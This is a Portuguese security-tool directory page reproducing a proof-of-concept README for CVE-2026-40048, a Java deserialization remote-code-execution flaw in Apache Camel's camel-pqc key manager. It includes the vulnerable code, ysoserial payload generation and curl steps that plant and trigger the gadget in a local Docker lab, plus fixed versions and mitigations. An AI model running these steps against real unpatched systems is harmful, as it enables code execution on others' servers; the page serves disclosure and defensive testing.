Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40048 — Reprodutor para CVE-2026-40048: Desserialização insegura do Apache Camel camel-pqc FileBasedKeyLifecycleManager (RCE) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40048
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHuboscerd/cve-2026-40048

CVE-2026-40048

Reprodutor para CVE-2026-40048: Desserialização insegura do Apache Camel camel-pqc FileBasedKeyLifecycleManager (RCE)

2há 2 mesesAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-pqc FileBasedKeyLifecycleManager Unsafe Deserialization Reproducer (CVE-2026-40048)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-pqc do Apache Camel, registrada como CVE-2026-40048. O FileBasedKeyLifecycleManager lê arquivos <keyId>.key do diretório de chaves configurado com um ObjectInputStream bruto e sem ObjectInputFilter, portanto um atacante que possa escrever nesse diretório pode alcançar execução remota de código.

Advisory: https://camel.apache.org/security/CVE-2026-40048.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-pqc
Classe Afetadaorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE)
Versões AfetadasFrom 4.18.0 before 4.18.2, and from 4.19.0 before 4.20.0
Versões Corrigidas4.18.2, 4.20.0
JIRACAMEL-23200
RelatoresAndrea Cosentino (ASF), Venkatraman Kumar (Securin)

Detalhes Técnicos

O FileBasedKeyLifecycleManager persiste chaves pós-quânticas como objetos Java serializados em <keyDir>/<keyId>.key. Carregar uma chave desserializa esse arquivo com um ObjectInputStream bruto, e a conversão para KeyPair ocorre apenas após o retorno de readObject():

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - versão afetada
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NENHUM ObjectInputFilter — o gadget é executado antes da conversão
    ...
}

Um atacante que possa escrever no diretório de chaves — via path traversal, permissões de volume mal configuradas, um pipeline de provisionamento de chaves comprometido ou um ataque de symlink — pode plantar um objeto serializado manipulado que é executado durante um carregamento normal do ciclo de vida da chave.

Pré-requisitos

  • Java 17+ e Maven 3.8+ (para compilar o jar)
  • Docker (executa o reprodutor)
  • ysoserial (para geração de payload)

Passos para Reprodução

Passo 1: Compilar o jar e iniciar o contêiner

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passo 2: Gerar um payload malicioso

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Prova benigna: criar /tmp/pwned. No JDK 21, adicione --add-opens para gerar gadgets CC:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Passo 3: Plantar o payload como <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# escreve os bytes em /tmp/pqc-keys/mykey.key dentro do contêiner

Passo 4: Disparar o carregamento do ciclo de vida da chave (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executa
# -> ">>> RCE proof — /tmp/pwned exists: true"

Passo 5: Verificar

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

Limpeza

root@kitploit:~
docker compose down

Vetores de Ataque

getKey() é chamado durante operações normais do ciclo de vida da chave (recuperação de chave de assinatura/verificação, verificações de rotação, etc.), portanto qualquer carregamento de um <keyId>.key plantado pelo atacante dispara a desserialização.

Condições de Exploração

  1. Acesso de escrita ao diretório de chaves usado pelo FileBasedKeyLifecycleManager (volume compartilhado/mal configurado, path traversal, provisionamento comprometido, symlink).
  2. Uma biblioteca de gadgets no classpath (ex.: commons-collections:3.2.1).

CVEs Relacionados Posteriores

O padrão ObjectInputStream-em-armazenamento-de-chaves foi tratado mais amplamente posteriormente:

  • CVE-2026-46590 — os gerenciadores irmãos do HashiCorp Vault + AWS Secrets Manager (seguimento de correção incompleta).
  • CVE-2026-43867 — um relatório independente do mesmo caminho do AWS Secrets Manager.

Correção Recomendada

Atualize para 4.18.2 / 4.20.0. A correção substitui o armazenamento baseado em ObjectInputStream pela codificação JSON Base64 padrão PKCS#8 (chave privada) / X.509 SubjectPublicKeyInfo (chave pública).

Mitigação

Até a atualização:

  1. Restrinja o acesso de escrita ao diretório de chaves à própria identidade da aplicação.
  2. Remova bibliotecas de gadgets (atualize/remova commons-collections 3.x).
  3. Mantenha o material de chave em um volume onde nenhum principal menos confiável possa escrever.

Arquivos

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plantar .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta